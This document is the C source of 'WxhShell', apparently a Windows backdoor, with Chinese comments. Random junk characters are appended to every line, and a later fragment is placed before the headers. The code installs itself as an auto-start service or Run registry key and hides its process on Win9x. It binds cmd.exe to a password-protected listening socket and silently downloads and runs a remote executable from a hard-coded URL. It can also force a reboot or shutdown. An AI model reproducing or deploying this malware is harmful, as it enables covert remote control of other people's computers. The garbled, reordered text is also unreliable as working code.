    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q>}*l|Ci  
    if(Boot(SHUTDOWN)) Z6I^HG{:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L5tSS=  
    else { O7z -4r  
    closesocket(wsh); %XieKL  
    ExitThread(0); qm1;^j&y  
    } %l7|+%M.{  
    break; *@2?_b}A ^  
    } "e\:Cq>\  
  // 获取shell  #{8n<sE  
  case 's': { ovn)lIs  
    CmdShell(wsh); YI*Av+Z)  
    closesocket(wsh); lJloa'%v9  
    ExitThread(0); <|'C|J_!  
    break; kU5chltGF  
  } ?Rj)x%fN  
  // 退出 jJF(*D  
  case 'x': { /~Q2SrYH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dfBTx6/F  
    CloseIt(wsh); $(ugnnJ*  
    break; v]tbs)x;h  
    } k]=Yi;  
  // 离开 e!67Na0X(  
  case 'q': { eVZ/3o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9?M><bBX  
    closesocket(wsh); \i-HECc"U  
    WSACleanup(); H"H&uA9"  
    exit(1); 6jiz$x  
    break; jMvWS71  
        } 8pfQAzl  
  } ZS@Cd9*  
  } ptXLWv`  
4A_}:nU  
  // 提示信息 {[ j+ y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AK/_^?zAs  
} xA-O?s"CY  
  } RSLMO8  
Jp<Y2-  
  return; VQ/<MY C  
} |.x |BJ  
;=IGl:  
// shell模块句柄 .FS`Fh;  
int CmdShell(SOCKET sock) vt3yCS  
{ w6M EY"<L  
STARTUPINFO si; G(-1"7  
ZeroMemory(&si,sizeof(si)); *5bKJgwJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DbdxHuKa>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = X?jId{  
PROCESS_INFORMATION ProcessInfo; ON{&-  
char cmdline[]="cmd"; e 'I13)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !tkP!%w  
  return 0; 2G'Au}q0n  
} /h=:heS4$  
^d!(8vh  
// 自身启动模式 YPraf$  
int StartFromService(void) _h4{Sx  
{ ]~:9b[G2  
typedef struct SbmakNWJ}  
{ kETu@la}  
  DWORD ExitStatus; 3[: |)i)  
  DWORD PebBaseAddress; ]g jhrD   
  DWORD AffinityMask; )vB,eZq  
  DWORD BasePriority; }| BnG"8  
  ULONG UniqueProcessId; xeqAFq=9?  
  ULONG InheritedFromUniqueProcessId; 0s"g%gq|  
}   PROCESS_BASIC_INFORMATION; ppt`5F O  
 R ^Wed  
PROCNTQSIP NtQueryInformationProcess; _u$X.5Q;  
io_4d2uBh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _q >>]{5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /=9t$u|  
8-Ik .,}  
  HANDLE             hProcess; $*ujX,}xG  
  PROCESS_BASIC_INFORMATION pbi; zT[[WY4  
K8{Ub  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F2yc&mXyk  
  if(NULL == hInst ) return 0; k\UDZ)TQV  
>y%*HC!G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d^"<Tz!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2<jbNnj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KXEDpr  
%UuV^C  
  if (!NtQueryInformationProcess) return 0; XOQj?Q7)U  
+~Ni7Dp]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); / lh3.\|  
  if(!hProcess) return 0; 5UE5;yo  
{umdW x.*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u?[dy n  
}R#YO$J7  
  CloseHandle(hProcess); a $pxt!6  
<4,n6$E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H tIl;E  
if(hProcess==NULL) return 0; Fv \yhR  
w) o^?9T  
HMODULE hMod; d(RSn|[0  
char procName[255]; u|l]8T9L  
unsigned long cbNeeded; kYwk'\s  
!ydJ{\;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sfSM7f  
tSK{Abw1B  
  CloseHandle(hProcess); .!T]sX_P  
R9X* R3nB  
if(strstr(procName,"services")) return 1; // 以服务启动 ?ic7M  
^J3\ U{B  
  return 0; // 注册表启动 qF m=(J%  
} 9s\;,!b  
HCHZB*r[  
// 主模块 Fw!CssW  
int StartWxhshell(LPSTR lpCmdLine) @}:}7R6  
{ nd(O;XBI  
  SOCKET wsl; Ay'2! K,I  
BOOL val=TRUE; u(B0X=B  
  int port=0; V_JM@VN}Kk  
  struct sockaddr_in door; 6 <JiHVP7  
*i#m5f}  
  if(wscfg.ws_autoins) Install(); \M>}-j`v  
3-4' x2   
port=atoi(lpCmdLine); o:u *E  
:Hdn&a i  
if(port<=0) port=wscfg.ws_port; X(F 2 5  
W]p)}#FR  
  WSADATA data; 0\f3La  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r'7>J:cy=  
#Jt9U1WbF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "' g*_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :hYV\8 $  
  door.sin_family = AF_INET; hO3>Gl5<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z_vFf0  
  door.sin_port = htons(port); %jKbRiz1u  
$qk2!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 F3U,}  
closesocket(wsl); T0xU}  
return 1; *C*n( the  
} 5/-{.g   
Td%[ -  
  if(listen(wsl,2) == INVALID_SOCKET) { @Y":DHF5q  
closesocket(wsl); Y>*{(QD  
return 1; ?5d7J,"<h  
} IHCEuK  
  Wxhshell(wsl); Bi?+e~R  
  WSACleanup(); i;!#:JX  
yD|He*$S  
return 0; W|_^Oe<  
4%/iu)nx  
} Z6%Hhk[  
IM:*uv  
// 以NT服务方式启动 .[Ezg(U}ze  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .c~`{j}  
{ Z'EX q.hk  
DWORD   status = 0; d6ZJh xJ  
  DWORD   specificError = 0xfffffff; iXpLcHi  
 S^;D\6(r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A;E7~qOG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qzbelt@Wx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !"{+|heU9p  
  serviceStatus.dwWin32ExitCode     = 0; p3Uus''V4  
  serviceStatus.dwServiceSpecificExitCode = 0; 71i".1l{K  
  serviceStatus.dwCheckPoint       = 0; t>[K:[0U  
  serviceStatus.dwWaitHint       = 0; 6|*em4  
gZQ,br*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\\Q!pY  
  if (hServiceStatusHandle==0) return; r:u,  
tkr RdCq  
status = GetLastError(); umV5Y`  
  if (status!=NO_ERROR) S EdNH.|I  
{ 7XLz Ewa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6@_Vg~=S  
    serviceStatus.dwCheckPoint       = 0; g:bw;6^ u  
    serviceStatus.dwWaitHint       = 0; ^M60#gJ  
    serviceStatus.dwWin32ExitCode     = status; u\gPx4]4c  
    serviceStatus.dwServiceSpecificExitCode = specificError; _bp9UJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NWCJ|  
    return; Wt2+D{@8  
  } ]DcQ8D  
ao>`[-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GrWzgO  
  serviceStatus.dwCheckPoint       = 0; FL -yt  
  serviceStatus.dwWaitHint       = 0; 0mj^Tms  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ye Q6\yi  
} i6F`KF'i&  
?rqU&my S  
// 处理NT服务事件,比如:启动、停止 .<8kDyi m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <=KtRE>$  
{ 5N=QS1<$5  
switch(fdwControl) ?ysC7 ((  
{ KrNu7/H  
case SERVICE_CONTROL_STOP: (vHB`@x  
  serviceStatus.dwWin32ExitCode = 0; ;<qv-$P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RM2<%$  
  serviceStatus.dwCheckPoint   = 0; G5~ Jp#uA  
  serviceStatus.dwWaitHint     = 0; J{Fu8  
  { r|[uR$|Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (xnXM}M&2Y  
  } e-vwve  
  return; tjw4.L<r  
case SERVICE_CONTROL_PAUSE: 9L+dN%C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z& !n'N<C  
  break; (9bFIvMc  
case SERVICE_CONTROL_CONTINUE: !9+xKr99  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '5j$wr zt  
  break; QAiont ,!  
case SERVICE_CONTROL_INTERROGATE: -A}U^-'a}  
  break; 5AV5`<r.  
}; P~Cx#`#(V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~4YU  
}  f,utA3[  
vMOI&_[\z  
// 标准应用程序主函数  3LKL,z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 96Kv!  
{ Cnp\2Fu/  
XD>(M{~  
// 获取操作系统版本 at_~b Ox6X  
OsIsNt=GetOsVer(); Na8%TT>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [0v`E5  
7Ddo ^Gtx  
  // 从命令行安装 9z)p*+r UK  
  if(strpbrk(lpCmdLine,"iI")) Install(); R{zAs?j  
,[6N64fy  
  // 下载执行文件 no_(J>p^&  
if(wscfg.ws_downexe) { md8r"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %hcn|-" F  
  WinExec(wscfg.ws_filenam,SW_HIDE); oZ% rzLH  
} KtWn08D!  
5(F @KeH>  
if(!OsIsNt) { e$krA!zN  
// 如果时win9x,隐藏进程并且设置为注册表启动 8sm8L\-  
HideProc(); 8 /3`rEW  
StartWxhshell(lpCmdLine); 58FjzW  
} ~s_n\r&23  
else gWcl@|I;\  
  if(StartFromService()) !F3Y7R  
  // 以服务方式启动 i@7b  
  StartServiceCtrlDispatcher(DispatchTable); ,1-n=eTQ  
else EC *rd  
  // 普通方式启动 r=8(n<;Co  
  StartWxhshell(lpCmdLine); E3bS Q  
35 /)S@  
return 0; [gK (x%  
} ~V,~' W  
e.X*x4*>~  
9|19ia@[\  
8*O]  
=========================================== 9H$$Og  
k"-2OT  
G,+-}~$_  
L`>uO1O  
fI:j@Wug  
#3!l6]  
" 4L'dV  
[se J'Io  
#include <stdio.h> VFUuG3p)  
#include <string.h> N 2|?I(\B  
#include <windows.h> cB~D3a0Th  
#include <winsock2.h> lCmTm  
#include <winsvc.h> SyHS9>  
#include <urlmon.h> <w@ziUr  
:Osw4u]JXd  
#pragma comment (lib, "Ws2_32.lib") E yJWi<  
#pragma comment (lib, "urlmon.lib") y#%*aV}|B  
&DnX6%2  
#define MAX_USER   100 // 最大客户端连接数 t?& a?6:J  
#define BUF_SOCK   200 // sock buffer G&P[n8Z$  
#define KEY_BUFF   255 // 输入 buffer !`j}%!K!  
U&DD+4+28:  
#define REBOOT     0   // 重启 yb)!jLnH  
#define SHUTDOWN   1   // 关机 ruMS5OqM  
r`? bYoz  
#define DEF_PORT   5000 // 监听端口 n}NO"eF>-s  
FjUf|  
#define REG_LEN     16   // 注册表键长度 4.?tP7UE  
#define SVC_LEN     80   // NT服务名长度 N7/eF9  
1A>>#M=A  
// 从dll定义API Y", :u@R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E+>$@STv#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |3tq.JU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U Ps7{We W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mJjd2a"vi  
!U}dYB:O  
// wxhshell配置信息 .c#G0t<i[  
struct WSCFG { }bwH(OOS  
  int ws_port;         // 监听端口 Bismd21F6=  
  char ws_passstr[REG_LEN]; // 口令 e;QPn(  
  int ws_autoins;       // 安装标记, 1=yes 0=no p[kEFE,%  
  char ws_regname[REG_LEN]; // 注册表键名 D]NfA2B7  
  char ws_svcname[REG_LEN]; // 服务名 eUa2"=M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yv="oG!xL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d9'gH#f?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &YAw~1A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P2lDi!q|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,yZvT7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xx^7  
ZM:!LkK  
}; 37:\X5)z/  
"?_r?~sJx  
// default Wxhshell configuration !'E{D`A9  
struct WSCFG wscfg={DEF_PORT, 0taopDi ;d  
    "xuhuanlingzhe", aTJs.y -I~  
    1, i+`N0!8lY  
    "Wxhshell", Knd2s~S  
    "Wxhshell", G5JZpB#o  
            "WxhShell Service", {yPJYF_l  
    "Wrsky Windows CmdShell Service", B2}|b^'I  
    "Please Input Your Password: ", R?,Oh*  
  1, %<4ZU!2L  
  "http://www.wrsky.com/wxhshell.exe", q|Oz   
  "Wxhshell.exe" X?p.U  
    }; FQc8j:'  
u ##.t  
// 消息定义模块 [QC|Kd^#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %XIPPEHU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;QVX'?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hrLPy V:  
char *msg_ws_ext="\n\rExit."; e;Iz K]kP  
char *msg_ws_end="\n\rQuit."; XMt5o&U1  
char *msg_ws_boot="\n\rReboot...";  3+[R !  
char *msg_ws_poff="\n\rShutdown..."; cr;\;Ta_!W  
char *msg_ws_down="\n\rSave to "; F=/@D)hND  
;>#YOxPl  
char *msg_ws_err="\n\rErr!"; Hchh2  
char *msg_ws_ok="\n\rOK!"; KW1 7CJ@  
U_1syaY!  
char ExeFile[MAX_PATH]; #q[k"x=c  
int nUser = 0; *^]lFuX\&E  
HANDLE handles[MAX_USER]; *U[Nn5#?  
int OsIsNt; Q/JX8<7K  
-UJ; =/  
SERVICE_STATUS       serviceStatus; pA ,xDs@37  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VR/*h%  
4tv}5llSG  
// 函数声明 DOk(5gR  
int Install(void); _]g?3Gw7!  
int Uninstall(void); ]KsL(4PY  
int DownloadFile(char *sURL, SOCKET wsh); }]i re2j8  
int Boot(int flag); ^#^\@jLm  
void HideProc(void); 6k|^Cs6~z  
int GetOsVer(void); +\@) 1  
int Wxhshell(SOCKET wsl); m[k@\xS4e  
void TalkWithClient(void *cs); =wd=TX/  
int CmdShell(SOCKET sock); $)V_oQSqn  
int StartFromService(void); ,qo"i7c{:  
int StartWxhshell(LPSTR lpCmdLine); bZf18lvij:  
p5 !B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JjD'2"z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?b}d"QsmU  
zcn> 4E)  
// 数据结构和表定义 =TTk5(m  
SERVICE_TABLE_ENTRY DispatchTable[] = 7RH1,k  
{ "`QI2{!l  
{wscfg.ws_svcname, NTServiceMain}, 9_~[  
{NULL, NULL} Xup"gYTZQ  
}; "r:i  
D^R=  
// 自我安装 G-5 4D_ 4  
int Install(void) f{m,?[1C,  
{ Kbdjd p  
  char svExeFile[MAX_PATH]; ?9F_E+!  
  HKEY key; 9KqN .  
  strcpy(svExeFile,ExeFile); C(RZ09,.S  
'+@q  
// 如果是win9x系统,修改注册表设为自启动 gj\'1(Ju  
if(!OsIsNt) { ]Wn^m+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n!nXM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -AJ$-y  
  RegCloseKey(key); 0`{3|g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rh=,]Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aGl*h" &  
  RegCloseKey(key); LF2@qvwD  
  return 0; 'dkKBLsx  
    } ZSB_OS[N  
  } R F)Qsa  
} l6YToYzE2  
else { ^oL43#Nlo  
LjE@[@d  
// 如果是NT以上系统,安装为系统服务 U\crp T`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aJQx"6 c?  
if (schSCManager!=0) Z#J cN quM  
{ ~+JE l%  
  SC_HANDLE schService = CreateService XAn{xN pz  
  ( ucVWvXCr  
  schSCManager, R<5GG|(B  
  wscfg.ws_svcname, zOkIPv52~  
  wscfg.ws_svcdisp,  H[cHF  
  SERVICE_ALL_ACCESS,  D8w:c6b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u$3wdZ2&m  
  SERVICE_AUTO_START, 6m=FWw3y  
  SERVICE_ERROR_NORMAL, 6:(R/9!P  
  svExeFile, \[nvdvJv  
  NULL, NXJyRAJ*%  
  NULL, G>3]A5  
  NULL, M[;N6EJH  
  NULL, Qh 3V[br  
  NULL QG|KZ8uO  
  ); c@+;4Iz  
  if (schService!=0) igoUKDNiQ-  
  { 0<,Q7onDD:  
  CloseServiceHandle(schService); +IRr&J*P  
  CloseServiceHandle(schSCManager); /Ir|& <yB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h1 y6`m9  
  strcat(svExeFile,wscfg.ws_svcname); B@:11,.7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gwf *M3(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1X5*V!u  
  RegCloseKey(key); l> Mth+ ,b  
  return 0; (Wj2%*NT  
    } kLr6j-X  
  } Q%seV<!/  
  CloseServiceHandle(schSCManager); nJdO~0}3  
} ?r`UBR+[  
} {3jV ,S  
4f}:)M$5  
return 1; d )}@0Q  
} \Y EV 5  
\z/_vzz4  
// 自我卸载 34@f(^d+^  
int Uninstall(void) /c`s$h4-  
{ Cb{n4xKW6  
  HKEY key; .g|D  
\:ELO[(#|{  
if(!OsIsNt) { 'CrBxaA]s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &$'=SL(Z  
  RegDeleteValue(key,wscfg.ws_regname); LC!ZeW35  
  RegCloseKey(key); x vi&d1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C*S%aR  
  RegDeleteValue(key,wscfg.ws_regname); 6{XdLI  
  RegCloseKey(key); l~Em2@c  
  return 0; ]<V,5'xh  
  } ,%|$# g 0  
} r N"P IH  
} 1j_x51p  
else { rm-6Az V  
^G(/;c*=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gk.;<d  
if (schSCManager!=0) % d%KH9u  
{ a^9-9*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aCL_cVOMR  
  if (schService!=0) W?(^|<W  
  { &HPzm6.3  
  if(DeleteService(schService)!=0) { 33R_JM{  
  CloseServiceHandle(schService); /,>@+^1  
  CloseServiceHandle(schSCManager); ~-"<)XPe  
  return 0;  >%~E <  
  } +2}aCoL\  
  CloseServiceHandle(schService); 2MN AY%iT  
  } 0(uNFyIG  
  CloseServiceHandle(schSCManager); x J;DkPh  
} d/Sx+1 "{T  
} W|go*+`W%  
GM5s~,  
return 1; L @b8,  
} Rwy<#9R[x  
\X'{ ee  
// 从指定url下载文件 `OY_v=}  
int DownloadFile(char *sURL, SOCKET wsh) HxC_n h  
{ 8a\ Pjk  
  HRESULT hr; VW7 ?{EL7  
char seps[]= "/"; ]t69a4&,#9  
char *token; s}~'o!}W  
char *file; l_G&#sQ0  
char myURL[MAX_PATH]; u6~|].j R  
char myFILE[MAX_PATH]; 6j]pJ]F6  
)8H5ovj.  
strcpy(myURL,sURL); =xs{Ov=  
  token=strtok(myURL,seps); =Vgj=19X(  
  while(token!=NULL) . Q#X'j  
  { KUC (n!  
    file=token; ]M"l-A  
  token=strtok(NULL,seps); f$9V_j-K+  
  } e?3 S0}  
UyBI;k^]  
GetCurrentDirectory(MAX_PATH,myFILE); ~c,HE] B  
strcat(myFILE, "\\"); _!H{\kU  
strcat(myFILE, file); -?' r_t  
  send(wsh,myFILE,strlen(myFILE),0); xl@l<  
send(wsh,"...",3,0); BdB/`X*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ki{&,:@  
  if(hr==S_OK) bcC ;i~9  
return 0; ([iMOE[D3  
else ]$!-%pNv  
return 1; 0RN]_z$;H  
xR q|W4ay  
} 3|-)]^1O  
EKhwrBjS  
// 系统电源模块 ?@6N EfQf  
int Boot(int flag) SaMg)s~B  
{ F#eZfj~  
  HANDLE hToken; #GT/Q3{C  
  TOKEN_PRIVILEGES tkp; _5EM<Ux  
uj,YCJ8UZs  
  if(OsIsNt) { E a&NJ]& g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >I0;MNX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?)J/uU2w  
    tkp.PrivilegeCount = 1; D{s87h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i%!<6K6UT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "5L?RkFi\  
if(flag==REBOOT) { >t.Lc.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {?`7D:]`^  
  return 0; =y-yHRC7  
} -N% V5 TN  
else { hcj]T?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6i-G{)=l  
  return 0; T 5Zh2Q@  
} +Eh.PWEe  
  } bS;_xDXd  
  else { McN[  
if(flag==REBOOT) { r}&&e BY f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C{}PO u  
  return 0; bJetqF6 n  
} X5YOxMq  
else { t$(#$Z,RS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CDM6o!ur3  
  return 0; _\KFMe= PV  
} Dc@O Mr  
} triU^uvh  
<zR{'7L/  
return 1; OA*O =  
} cFw-JM<  
SFRP ?s  
// win9x进程隐藏模块 u+Ix''Fn#%  
void HideProc(void) uDie205  
{ /M%>M]  
,IyQmN y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( ne[a2%>  
  if ( hKernel != NULL ) a51e~mg Z`  
  { ". tW5O>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |J,zU6t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aSvv(iV  
    FreeLibrary(hKernel); !Ztqh Xr  
  } _]OY[&R  
QZ l#^-on  
return; tO{{ci$-T  
} ppRmC,0f^  
g5@JA^\vZT  
// 获取操作系统版本 4WvW11q8U  
int GetOsVer(void) T/g\v?>  
{ Tk?uJIS :  
  OSVERSIONINFO winfo; D#L(ZlD4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q4[8\Ua  
  GetVersionEx(&winfo); {6H[[7i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }lIc{R@H  
  return 1; V*b/N  
  else JY2<ECO  
  return 0; `jGeS[FhR  
} xcr2|  
GMJ4v S  
// 客户端句柄模块 0TmEa59P  
int Wxhshell(SOCKET wsl) $KbZ4bB[Bo  
{ 4`Ud\Jm[s  
  SOCKET wsh; ?OFa Q  
  struct sockaddr_in client; 3/`BK{  
  DWORD myID; (p{%]M  
8In\Jo$|q>  
  while(nUser<MAX_USER) |-x-CSN  
{ n"htx|v  
  int nSize=sizeof(client); OW@%H;b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jz` jN~  
  if(wsh==INVALID_SOCKET) return 1; BDI@h%tJb:  
:oZ<[#p"*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aO(PVS|P  
if(handles[nUser]==0) D+3?p  
  closesocket(wsh); xT"V9t[f  
else U0_)J1Yp  
  nUser++; 9>&zOITTaL  
  } bI &<L O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @4*:qj?  
U`q keNd  
  return 0; d5l42^Z  
} ZU`9]7"87B  
Ax&!Nz+?  
// 关闭 socket gS~H1Ro  
void CloseIt(SOCKET wsh) !G-+O#W`  
{ @}H u)HO  
closesocket(wsh); ;stuTj@vH  
nUser--; Ab ,^y  
ExitThread(0); nZbI}kcm  
} 'IX1WS&\"  
L*Z.T^h  
// 客户端请求句柄 9m M3Ve*  
void TalkWithClient(void *cs) ~pRgTXbz  
{ `[sFh%:  
5`.CzQVb  
  SOCKET wsh=(SOCKET)cs; M M@,J<  
  char pwd[SVC_LEN]; }n==^2  
  char cmd[KEY_BUFF]; wtek5C^  
char chr[1]; \Osu1]Jn>  
int i,j; WiytHuUF  
PT2;%=f  
  while (nUser < MAX_USER) { aj`&ca8  
fs ufYIf  
if(wscfg.ws_passstr) { 8:{id>Mm^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 77@N79lqO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !"F;wg$  
  //ZeroMemory(pwd,KEY_BUFF); ,/w*sE  
      i=0; - Z,Qj"V  
  while(i<SVC_LEN) { L[Vk6e  
*SNdU^!  
  // 设置超时 (  zo7h  
  fd_set FdRead; i=EOk}R  
  struct timeval TimeOut; 5!F;|*vC8  
  FD_ZERO(&FdRead); cX-M9Cz  
  FD_SET(wsh,&FdRead); N]+6<  
  TimeOut.tv_sec=8; Q~(Gll;  
  TimeOut.tv_usec=0; bgor W"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wD9K\%jIr!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N_c44[z 1  
M1kA-Xr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XZIapT  
  pwd=chr[0]; '|IcL1c=I  
  if(chr[0]==0xd || chr[0]==0xa) { l ;:IL\*1I  
  pwd=0; }Z"iW/?"  
  break; -$Z1X_~;)<  
  } !rUP&DA  
  i++; l53i {o  
    } >_?i)%+)  
TwkT|Piw S  
  // 如果是非法用户,关闭 socket &!8 WRJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =npE?wK  
} tY"eoPme  
8zx]/ >  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %y6Q3@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?),b902C  
|Vpp'ipr  
while(1) { ~qgh w@Q~  
+5zXbfO  
  ZeroMemory(cmd,KEY_BUFF); gs'M^|e)  
-%` ~3*L  
      // 自动支持客户端 telnet标准   w jkh*Y  
  j=0; << >+z5D+  
  while(j<KEY_BUFF) { /w?e(v<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KOy{?  
  cmd[j]=chr[0]; lMY\8eobcB  
  if(chr[0]==0xa || chr[0]==0xd) { '3>;8(s l  
  cmd[j]=0; aS [[ AL  
  break; L )JB^cxf  
  } .t@|2  
  j++; t$!zgUJ  
    } nONuw;K  
rt+4-WuK>  
  // 下载文件 ~~/,2^   
  if(strstr(cmd,"http://")) { RAO+<m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ETHcZ  
  if(DownloadFile(cmd,wsh)) z&%i"IY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m# {'9 |  
  else '8q3ub<\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z0 9Gp}^;  
  } s/"bH3Ob9v  
  else { o+1 (N#?m9  
R:~aX,qR  
